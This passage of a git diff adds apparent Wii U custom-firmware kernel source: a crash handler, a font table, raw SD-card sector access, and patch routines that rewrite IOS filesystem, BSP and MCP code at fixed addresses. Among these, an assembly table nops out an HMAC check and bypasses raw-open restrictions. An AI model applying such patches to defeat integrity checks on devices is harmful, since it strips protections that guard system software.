MEDITATION ERROR (prefetch abort)"); + } + else if(type == 1) + { + _printf(0, 0, "GURU MEDITATION ERROR (data abort)"); + } + else + { + _printf(0, 0, "GURU MEDITATION ERROR (undefined instruction)"); + } + + int reg = 0; + while(reg < 16) + { + if(reg < 10) + { + _printf(20, 40 + reg * 20, "r%d = %08X", reg, context[1 + reg]); + } + else + { + _printf(20, 40 + reg * 20, "r%d = %08X", reg, context[1 + reg]); + } + + reg++; + } + + _printf(400, 20, "%08X", *(u32*)context[0x10]); + + for(;;); +} diff --git a/ios_kernel/source/exception_handler.h b/ios_kernel/source/exception_handler.h new file mode 100644 index 0000000..a3b7094 --- /dev/null +++ b/ios_kernel/source/exception_handler.h @@ -0,0 +1,44 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _EXCEPTION_HANDLER_H +#define _EXCEPTION_HANDLER_H + +void crash_handler(unsigned int *context, int type); + +static inline void crash_handler_prefetch(unsigned int *context, int unused1, int unused2) +{ + crash_handler(context, 0); +} + +static inline void crash_handler_data(unsigned int *context, int unused1, int unused2) +{ + crash_handler(context, 1); +} + +static inline void crash_handler_undef_instr(unsigned int *context, int unused1, int unused2) +{ + crash_handler(context, 2); +} + +#endif diff --git a/ios_kernel/source/font_bin.h b/ios_kernel/source/font_bin.h new file mode 100644 index 0000000..dce9faa --- /dev/null +++ b/ios_kernel/source/font_bin.h @@ -0,0 +1,65 @@ +static const unsigned char font_bin[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x18, + 0x18, 0x00, 0x0c, 0x00, 0x00, 0x22, 0x22, 0x22, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x66, 0x66, 0xff, 0x66, 0xff, 0x66, 0x66, 0x00, 0x18, 0x7c, 0x06, + 0x3c, 0x60, 0x3e, 0x18, 0x10, 0x46, 0x66, 0x30, 0x18, 0x0c, 0x66, 0x62, + 0x00, 0x3c, 0x66, 0x3c, 0x1c, 0xe6, 0x66, 0xfc, 0x00, 0x18, 0x0c, 0x06, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x18, 0x0c, 0x0c, 0x18, 0x30, 0x00, + 0x00, 0x0c, 0x18, 0x30, 0x30, 0x18, 0x0c, 0x00, 0x00, 0x66, 0x3c, 0xff, + 0x3c, 0x66, 0x00, 0x00, 0x00, 0x18, 0x18, 0x7e, 0x18, 0x18, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x3e, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x18, 0x00, + 0x00, 0x40, 0x60, 0x30, 0x18, 0x0c, 0x06, 0x00, 0x00, 0x3c, 0x66, 0x76, + 0x6e, 0x66, 0x3c, 0x00, 0x00, 0x18, 0x1c, 0x18, 0x18, 0x18, 0x7e, 0x00, + 0x00, 0x3c, 0x62, 0x30, 0x0c, 0x06, 0x7e, 0x00, 0x00, 0x3c, 0x62, 0x38, + 0x60, 0x66, 0x3c, 0x00, 0x00, 0x6c, 0x6c, 0x66, 0xfe, 0x60, 0x60, 0x00, + 0x00, 0x7e, 0x06, 0x7e, 0x60, 0x66, 0x3c, 0x00, 0x00, 0x3c, 0x06, 0x3e, + 0x66, 0x66, 0x3c, 0x00, 0x00, 0x7e, 0x30, 0x30, 0x18, 0x18, 0x18, 0x00, + 0x00, 0x3c, 0x66, 0x3c, 0x66, 0x66, 0x3c, 0x00, 0x00, 0x3c, 0x66, 0x7c, + 0x60, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x18, 0x00, + 0x00, 0x00, 0x18, 0x00, 0x18, 0x18, 0x0c, 0x00, 0x00, 0x70, 0x1c, 0x06, + 0x06, 0x1c, 0x70, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x3e, 0x00, 0x00, 0x00, + 0x00, 0x0e, 0x38, 0x60, 0x60, 0x38, 0x0e, 0x00, 0x00, 0x3c, 0x66, 0x30, + 0x18, 0x00, 0x18, 0x00, 0x00, 0x3c, 0x66, 0x76, 0x76, 0x06, 0x46, 0x3c, + 0x00, 0x3c, 0x66, 0x7e, 0x66, 0x66, 0x66, 0x00, 0x00, 0x3e, 0x66, 0x3e, + 0x66, 0x66, 0x3e, 0x00, 0x00, 0x3c, 0x66, 0x06, 0x06, 0x66, 0x3c, 0x00, + 0x00, 0x1e, 0x36, 0x66, 0x66, 0x36, 0x1e, 0x00, 0x00, 0x7e, 0x06, 0x1e, + 0x06, 0x06, 0x7e, 0x00, 0x00, 0x3e, 0x06, 0x1e, 0x06, 0x06, 0x06, 0x00, + 0x00, 0x3c, 0x66, 0x06, 0x76, 0x66, 0x3c, 0x00, 0x00, 0x66, 0x66, 0x7e, + 0x66, 0x66, 0x66, 0x00, 0x00, 0x3c, 0x18, 0x18, 0x18, 0x18, 0x3c, 0x00, + 0x00, 0x78, 0x30, 0x30, 0x30, 0x36, 0x1c, 0x00, 0x00, 0x66, 0x36, 0x1e, + 0x1e, 0x36, 0x66, 0x00, 0x00, 0x06, 0x06, 0x06, 0x06, 0x06, 0x7e, 0x00, + 0x00, 0x46, 0x6e, 0x7e, 0x56, 0x46, 0x46, 0x00, 0x00, 0x66, 0x6e, 0x7e, + 0x76, 0x66, 0x66, 0x00, 0x00, 0x3c, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00, + 0x00, 0x3e, 0x66, 0x3e, 0x06, 0x06, 0x06, 0x00, 0x00, 0x3c, 0x66, 0x66, + 0x66, 0x3c, 0x70, 0x00, 0x00, 0x3e, 0x66, 0x3e, 0x1e, 0x36, 0x66, 0x00, + 0x00, 0x3c, 0x66, 0x0c, 0x30, 0x66, 0x3c, 0x00, 0x00, 0x7e, 0x18, 0x18, + 0x18, 0x18, 0x18, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x00, + 0x00, 0x66, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x00, 0x00, 0x46, 0x46, 0x56, + 0x7e, 0x6e, 0x46, 0x00, 0x00, 0x66, 0x3c, 0x18, 0x3c, 0x66, 0x66, 0x00, + 0x00, 0x66, 0x66, 0x3c, 0x18, 0x18, 0x18, 0x00, 0x00, 0x7e, 0x30, 0x18, + 0x0c, 0x06, 0x7e, 0x00, 0x00, 0x3c, 0x0c, 0x0c, 0x0c, 0x0c, 0x0c, 0x3c, + 0x00, 0x06, 0x0c, 0x18, 0x30, 0x60, 0x40, 0x00, 0x00, 0x3c, 0x30, 0x30, + 0x30, 0x30, 0x30, 0x3c, 0x00, 0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7e, 0x00, 0x0c, 0x18, 0x30, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x60, 0x7c, 0x66, 0x7c, 0x00, + 0x00, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x3e, 0x00, 0x00, 0x00, 0x3c, 0x06, + 0x06, 0x06, 0x3c, 0x00, 0x00, 0x60, 0x60, 0x7c, 0x66, 0x66, 0x7c, 0x00, + 0x00, 0x00, 0x3c, 0x66, 0x7e, 0x06, 0x3c, 0x00, 0x00, 0x38, 0x0c, 0x3e, + 0x0c, 0x0c, 0x0c, 0x00, 0x00, 0x00, 0x7c, 0x66, 0x7c, 0x40, 0x3c, 0x00, + 0x00, 0x06, 0x06, 0x3e, 0x66, 0x66, 0x66, 0x00, 0x00, 0x18, 0x00, 0x1c, + 0x18, 0x18, 0x3c, 0x00, 0x00, 0x30, 0x00, 0x30, 0x30, 0x30, 0x1e, 0x00, + 0x00, 0x06, 0x06, 0x36, 0x1e, 0x36, 0x66, 0x00, 0x00, 0x1c, 0x18, 0x18, + 0x18, 0x18, 0x3c, 0x00, 0x00, 0x00, 0x66, 0xfe, 0xfe, 0xd6, 0xc6, 0x00, + 0x00, 0x00, 0x3e, 0x66, 0x66, 0x66, 0x66, 0x00, 0x00, 0x00, 0x3c, 0x66, + 0x66, 0x66, 0x3c, 0x00, 0x00, 0x00, 0x3e, 0x66, 0x66, 0x3e, 0x06, 0x00, + 0x00, 0x00, 0x7c, 0x66, 0x66, 0x7c, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x66, + 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x7c, 0x06, 0x3c, 0x60, 0x3e, 0x00, + 0x00, 0x18, 0x7e, 0x18, 0x18, 0x18, 0x70, 0x00, 0x00, 0x00, 0x66, 0x66, + 0x66, 0x66, 0x7c, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x3c, 0x18, 0x00, + 0x00, 0x00, 0xc6, 0xd6, 0xfe, 0x7c, 0x6c, 0x00, 0x00, 0x00, 0x66, 0x3c, + 0x18, 0x3c, 0x66, 0x00, 0x00, 0x00, 0x66, 0x66, 0x7c, 0x60, 0x3c, 0x00, + 0x00, 0x00, 0x7e, 0x30, 0x18, 0x0c, 0x7e, 0x00, 0x00, 0x00, 0x18, 0x08, + 0x08, 0x04, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, + 0x00, 0x00, 0x0c, 0x08, 0x08, 0x10, 0x08, 0x08 +}; diff --git a/ios_kernel/source/fsa.c b/ios_kernel/source/fsa.c new file mode 100644 index 0000000..9a28f06 --- /dev/null +++ b/ios_kernel/source/fsa.c @@ -0,0 +1,236 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "utils.h" + +#define svcAlloc ((void *(*)(u32 heapid, u32 size))0x081234E4) +#define svcAllocAlign ((void *(*)(u32 heapid, u32 size, u32 align))0x08123464) +#define svcFree ((void *(*)(u32 heapid, void *ptr))0x08123830) +#define svcOpen ((int (*)(const char* name, int mode))0x0812940C) +#define svcClose ((int (*)(int fd))0x08129368) +#define svcIoctl ((int (*)(int fd, u32 request, void* input_buffer, u32 input_buffer_len, void* output_buffer, u32 output_buffer_len))0x081290E0) +#define svcIoctlv ((int (*)(int fd, u32 request, u32 vector_count_in, u32 vector_count_out, iovec_s* vector))0x0812903C) + +typedef struct +{ + void* ptr; + u32 len; + u32 unk; +}iovec_s; + +static void* allocIobuf() +{ + void* ptr = svcAlloc(0xCAFF, 0x828); + kernel_memset(ptr, 0x00, 0x828); + + return ptr; +} + +static void freeIobuf(void* ptr) +{ + svcFree(0xCAFF, ptr); +} + +static int IOS_Open(const char * dev, int mode) +{ + // put string into a good location + char* devStr = (char*)svcAlloc(0xCAFF, 0x20); + if(!devStr) + return -3; + + kernel_strncpy(devStr, dev, 0x20); + + int res = svcOpen(devStr, 0); + + svcFree(0xCAFF, devStr); + + return res; +} + +static int FSA_Open(void) +{ + return IOS_Open("/dev/fsa", 0); +} + +static int FSA_Close(int fd) +{ + return svcClose(fd); +} + +static int FSA_RawOpen(int fd, const char* device_path, int* outHandle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + kernel_strncpy((char*)&inbuf[0x01], device_path, 0x27F); + + int ret = svcIoctl(fd, 0x6A, inbuf, 0x520, outbuf, 0x293); + + if(outHandle) *outHandle = outbuf[1]; + + freeIobuf(iobuf); + return ret; +} + +static int FSA_RawClose(int fd, int device_handle) +{ + u8* iobuf = allocIobuf(); + u32* inbuf = (u32*)iobuf; + u32* outbuf = (u32*)&iobuf[0x520]; + + inbuf[1] = device_handle; + + int ret = svcIoctl(fd, 0x6D, inbuf, 0x520, outbuf, 0x293); + + freeIobuf(iobuf); + return ret; +} + +static int FSA_RawRead(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + // note : offset_bytes = blocks_offset * size_bytes + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6B, 1, 2, iovec); + + freeIobuf(iobuf); + return ret; +} + +static int FSA_RawWrite(int fd, void* data, u32 size_bytes, u32 cnt, u64 blocks_offset, int device_handle) +{ + u8* iobuf = allocIobuf(); + u8* inbuf8 = iobuf; + u8* outbuf8 = &iobuf[0x520]; + iovec_s* iovec = (iovec_s*)&iobuf[0x7C0]; + u32* inbuf = (u32*)inbuf8; + u32* outbuf = (u32*)outbuf8; + + inbuf[0x08 / 4] = (blocks_offset >> 32); + inbuf[0x0C / 4] = (blocks_offset & 0xFFFFFFFF); + inbuf[0x10 / 4] = cnt; + inbuf[0x14 / 4] = size_bytes; + inbuf[0x18 / 4] = device_handle; + + iovec[0].ptr = inbuf; + iovec[0].len = 0x520; + + iovec[1].ptr = data; + iovec[1].len = size_bytes * cnt; + + iovec[2].ptr = outbuf; + iovec[2].len = 0x293; + + int ret = svcIoctlv(fd, 0x6C, 2, 1, iovec); + + freeIobuf(iobuf); + return ret; +} + +int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors) +{ + int fsa = FSA_Open(); + if(fsa < 0) + return fsa; + + int fd; + int res = FSA_RawOpen(fsa, "/dev/sdcard01", &fd); + if(res < 0) + { + FSA_Close(fsa); + return res; + } + + void *buf = svcAllocAlign(0xCAFF, num_sectors << 9, 0x40); + if(!buf) + { + FSA_RawClose(fsa, fd); + FSA_Close(fsa); + return -2; + } + + res = FSA_RawRead(fsa, buf, 0x200, num_sectors, sector, fd); + + svcFree(0xCAFF, buf); + FSA_RawClose(fsa, fd); + FSA_Close(fsa); + + kernel_memcpy(buffer, buf, num_sectors << 9); + return res; +} + +int FSA_SDWriteRawSectors(const void *buffer, u32 sector, u32 num_sectors) +{ + int fsa = FSA_Open(); + if(fsa < 0) + return fsa; + + int fd; + int res = FSA_RawOpen(fsa, "/dev/sdcard01", &fd); + if(res < 0) + { + FSA_Close(fsa); + return res; + } + + void *buf = svcAllocAlign(0xCAFF, num_sectors << 9, 0x40); + if(!buf) + { + FSA_RawClose(fsa, fd); + FSA_Close(fsa); + return -2; + } + + kernel_memcpy(buf, buffer, num_sectors << 9); + + res = FSA_RawWrite(fsa, buf, 0x200, num_sectors, sector, fd); + + svcFree(0xCAFF, buf); + FSA_RawClose(fsa, fd); + FSA_Close(fsa); + + return res; +} + diff --git a/ios_kernel/source/fsa.h b/ios_kernel/source/fsa.h new file mode 100644 index 0000000..cec4af2 --- /dev/null +++ b/ios_kernel/source/fsa.h @@ -0,0 +1,55 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef FSA_H +#define FSA_H + +#include "types.h" + +#define NAND_DUMP_SIGNATURE_SECTOR 0x01 + +#define NAND_DUMP_SIGNATURE 0x4841585844554d50ULL // HAXXDUMP + +#define NAND_DESC_TYPE_SLC 0x534c4320 // 'SLC ' +#define NAND_DESC_TYPE_SLCCMPT 0x534c4332 // 'SLC2' +#define NAND_DESC_TYPE_MLC 0x4d4c4320 // 'MLC ' +#define NAND_DESC_TYPE_OTP 0x4f545020 // 'OTP ' +#define NAND_DESC_TYPE_SEEPROM 0x45455052 // 'EEPR' + +typedef struct _stdio_nand_desc_t +{ + u32 nand_type; // nand type + u32 base_sector; // base sector of dump + u32 sector_count; // sector count in SDIO sectors +} __attribute__((packed))stdio_nand_desc_t; + +typedef struct _sdio_nand_signature_sector_t +{ + u64 signature; // HAXXDUMP + stdio_nand_desc_t nand_descriptions[5]; +} __attribute__((packed)) sdio_nand_signature_sector_t; + +int FSA_SDReadRawSectors(void *buffer, u32 sector, u32 num_sectors); +int FSA_SDWriteRawSectors(const void *buffer, u32 sector, u32 num_sectors); + +#endif diff --git a/ios_kernel/source/ios_bsp_patches.c b/ios_kernel/source/ios_bsp_patches.c new file mode 100644 index 0000000..48a7fae --- /dev/null +++ b/ios_kernel/source/ios_bsp_patches.c @@ -0,0 +1,80 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "elf_patcher.h" +#include "ios_bsp_patches.h" +#include "../../ios_bsp/ios_bsp_syms.h" +#include "fsa.h" +#include "utils.h" + +#define BSP_PHYS_DIFF (-0xE6000000 + 0x13CC0000) + +extern const patch_table_t fs_patches_table[]; +extern const patch_table_t fs_patches_table_end[]; + +u32 bsp_get_phys_code_base(void) +{ + return _text_start + BSP_PHYS_DIFF; +} + +int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound) +{ + int(*disable_interrupts)() = (int(*)())0x0812E778; + int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C; + + if(dumpFound) + { + int res = FSA_SDReadRawSectors((void*)0x00140000, baseSector, 1); + if(res < 0) + return res; + } + else + { + //! just clear out the seeprom and it will be re-initialized on BSP module + //! TODO: maybe read in the seeprom here from SPI or BSP module + kernel_memset((void*)0x00140000, 0, 0x200); + } + + int level = disable_interrupts(); + unsigned int control_register = disable_mmu(); + + kernel_memcpy((void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), (void*)0x00140000, 0x200); + + restore_mmu(control_register); + enable_interrupts(level); + + return 0; +} + +void bsp_run_patches(u32 ios_elf_start) +{ + section_write(ios_elf_start, _text_start, (void*)bsp_get_phys_code_base(), _text_end - _text_start); + section_write_bss(ios_elf_start, _bss_start, _bss_end - _bss_start); + + section_write(ios_elf_start, _seeprom_buffer_start, (void*)(_seeprom_buffer_start - 0xE6047000 + 0x13D07000), 0x200); + + section_write_word(ios_elf_start, 0xE600D08C, ARM_B(0xE600D08C, EEPROM_SPI_ReadWord)); + section_write_word(ios_elf_start, 0xE600D010, ARM_B(0xE600D010, EEPROM_SPI_WriteWord)); + section_write_word(ios_elf_start, 0xE600CF5C, ARM_B(0xE600CF5C, EEPROM_WriteControl)); +} diff --git a/ios_kernel/source/ios_bsp_patches.h b/ios_kernel/source/ios_bsp_patches.h new file mode 100644 index 0000000..02c2b0a --- /dev/null +++ b/ios_kernel/source/ios_bsp_patches.h @@ -0,0 +1,31 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _BSP_PATCHES_H_ +#define _BSP_PATCHES_H_ + +u32 bsp_get_phys_code_base(void); +void bsp_run_patches(u32 ios_elf_start); +int bsp_init_seeprom_buffer(u32 baseSector, int dumpFound); + +#endif diff --git a/ios_kernel/source/ios_fs_patches.c b/ios_kernel/source/ios_fs_patches.c new file mode 100644 index 0000000..5576c65 --- /dev/null +++ b/ios_kernel/source/ios_fs_patches.c @@ -0,0 +1,84 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "elf_patcher.h" +#include "ios_fs_patches.h" +#include "../../ios_fs/ios_fs_syms.h" + +#define FS_PHYS_DIFF 0 + +#define FS_SYSLOG_OUTPUT 0x107F0C84 +#define FS_PRINTF_SYSLOG 0x107F5720 +#define CALL_FS_REGISTERMDPHYSICALDEVICE 0x107BD81C +#define FS_GETMDDEVICEBYID 0x107187C4 +#define FS_CREATEDEVTHREAD_HOOK 0x10700294 +#define FS_USB_READ 0x1077F1C0 +#define FS_USB_WRITE 0x1077F35C +#define FS_SLC_READ1 0x107B998C +#define FS_SLC_READ2 0x107B98FC +#define FS_SLC_WRITE1 0x107B9870 +#define FS_SLC_WRITE2 0x107B97E4 +#define FS_MLC_READ1 0x107DC760 +#define FS_MLC_READ2 0x107DCDE4 +#define FS_MLC_WRITE1 0x107DC0C0 +#define FS_MLC_WRITE2 0x107DC73C +#define FS_SDCARD_READ1 0x107BDDD0 +#define FS_SDCARD_WRITE1 0x107BDD60 + +extern const patch_table_t fs_patches_table[]; +extern const patch_table_t fs_patches_table_end[]; + +u32 fs_get_phys_code_base(void) +{ + return _text_start + FS_PHYS_DIFF; +} + +void fs_run_patches(u32 ios_elf_start) +{ + // write wupserver code and bss + section_write(ios_elf_start, _text_start, (void*)fs_get_phys_code_base(), _text_end - _text_start); + section_write_bss(ios_elf_start, _bss_start, _bss_end - _bss_start); + + // patch FS logging + section_write_word(ios_elf_start, FS_PRINTF_SYSLOG, ARM_B(FS_PRINTF_SYSLOG, FS_SYSLOG_OUTPUT)); + + section_write_word(ios_elf_start, CALL_FS_REGISTERMDPHYSICALDEVICE, ARM_BL(CALL_FS_REGISTERMDPHYSICALDEVICE, registerMdDevice_hook)); + section_write_word(ios_elf_start, FS_GETMDDEVICEBYID + 8, ARM_BL((FS_GETMDDEVICEBYID + 8), getMdDeviceById_hook)); + + section_write_word(ios_elf_start, FS_SDCARD_READ1, ARM_B(FS_SDCARD_READ1, sdcardRead_patch)); + section_write_word(ios_elf_start, FS_SDCARD_WRITE1, ARM_B(FS_SDCARD_WRITE1, sdcardWrite_patch)); + + section_write_word(ios_elf_start, FS_SLC_READ1, ARM_B(FS_SLC_READ1, slcRead1_patch)); + section_write_word(ios_elf_start, FS_SLC_READ2, ARM_B(FS_SLC_READ2, slcRead2_patch)); + section_write_word(ios_elf_start, FS_SLC_WRITE1, ARM_B(FS_SLC_WRITE1, slcWrite1_patch)); + section_write_word(ios_elf_start, FS_SLC_WRITE2, ARM_B(FS_SLC_WRITE2, slcWrite2_patch)); + + //section_write_word(ios_elf_start, FS_USB_READ, ARM_B(FS_USB_READ, usbRead_patch)); + //section_write_word(ios_elf_start, FS_USB_WRITE, ARM_B(FS_USB_WRITE, usbWrite_patch)); + + section_write_word(ios_elf_start, FS_CREATEDEVTHREAD_HOOK, ARM_B(FS_CREATEDEVTHREAD_HOOK, createDevThread_hook)); + + u32 patch_count = (u32)(((u8*)fs_patches_table_end) - ((u8*)fs_patches_table)) / sizeof(patch_table_t); + patch_table_entries(ios_elf_start, fs_patches_table, patch_count); +} diff --git a/ios_kernel/source/ios_fs_patches.h b/ios_kernel/source/ios_fs_patches.h new file mode 100644 index 0000000..b3e71c6 --- /dev/null +++ b/ios_kernel/source/ios_fs_patches.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef _FS_PATCHES_H_ +#define _FS_PATCHES_H_ + +u32 fs_get_phys_code_base(void); +void fs_run_patches(u32 ios_elf_start); + +#endif diff --git a/ios_kernel/source/ios_fs_patches_asm.s b/ios_kernel/source/ios_fs_patches_asm.s new file mode 100644 index 0000000..83c2d0b --- /dev/null +++ b/ios_kernel/source/ios_fs_patches_asm.s @@ -0,0 +1,40 @@ +.arm + +# patch out sdcard deinitialization +patch_mdExit: + bx lr + +# patch out FSRawOpen access +patch_FSRawOpen: + streq r2, [r1, #0x70] + .word 0xEAFFFFF9 + +# nop out hmac memcmp +patch_hmac_check: + mov r0, #0 + +# null out references to slcSomething1 and slcSomething2 +# (nulling them out is apparently ok; more importantly, i'm not sure what they do and would rather get a crash than unwanted slc-writing) +slcSomething1: + .word 0x00000000 +slcSomething2: + .word 0x00000000 + +#syslogOutput_hook: +# push {r0,lr} +# bl dump_syslog +# pop {r0,lr} +# restore original instruction +# pop {r4-r8,r10,pc} + + +.globl fs_patches_table, fs_patches_table_end +fs_patches_table: +# origin data size + .word 0x107BD374, patch_mdExit, 4 + .word 0x1070FAE8, patch_FSRawOpen, 8 + .word 0x107B96B8, slcSomething1, 8 + .word 0x107206F0, patch_hmac_check, 4 +# .word 0x107F0B68, syslogOutput_hook, 4 +fs_patches_table_end: + diff --git a/ios_kernel/source/ios_mcp_patches.c b/ios_kernel/source/ios_mcp_patches.c new file mode 100644 index 0000000..b12e39e --- /dev/null +++ b/ios_kernel/source/ios_mcp_patches.c @@ -0,0 +1,57 @@ +/*************************************************************************** + * Copyright (C) 2016 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "types.h" +#include "elf_patcher.h" +#include "config.h" +#include "ios_mcp_patches.h" +#include "../../ios_mcp/ios_mcp.bin.h" +#include "../../ios_mcp/ios_mcp_syms.h" + +#define MCP_CODE_BASE_PHYS_ADDR (-0x05100000 + 0x13D80000) + +extern const patch_table_t mcp_patches_table[]; +extern const patch_table_t mcp_patches_table_end[]; + +u32 mcp_get_phys_code_base(void) +{ + return _text_start + MCP_CODE_BASE_PHYS_ADDR; +} + +void mcp_run_patches(u32 ios_elf_start) +{ + // write ios_mcp code and bss + section_write_bss(ios_elf_start, _bss_start, _bss_end - _bss_start); + section_write(ios_elf_start, _text_start, (void*)mcp_get_phys_code_base(), _text_end - _text_start); + + section_write_word(ios_elf_start, 0x05056718, ARM_BL(0x05056718, _text_start)); + + if(cfw_config.syshaxXml) + { + section_write(ios_elf_start, 0x050600DC, "/vol/system/config/syshax.xml", 0x20); + section_write(ios_elf_start, 0x050600FC, "/vol/system_slc/config/syshax.xml", 0x24); + } + + u32 patch_count = (u32)(((u8*)mcp_patches_table_end) - ((u8*)mcp_patches_table)) / sizeof(patch_table_t); + patch_table_entries(ios_elf_start, mcp_patches_table, patch_count); +} diff --git a/ios_kernel/source/ios_mcp_patches.h b/ios_kernel/source/ios_mcp_patches.h new file mode 100644 index 0000000..803368d --- /dev/null +++ b/ios_kernel/source/ios_mcp_patches.h 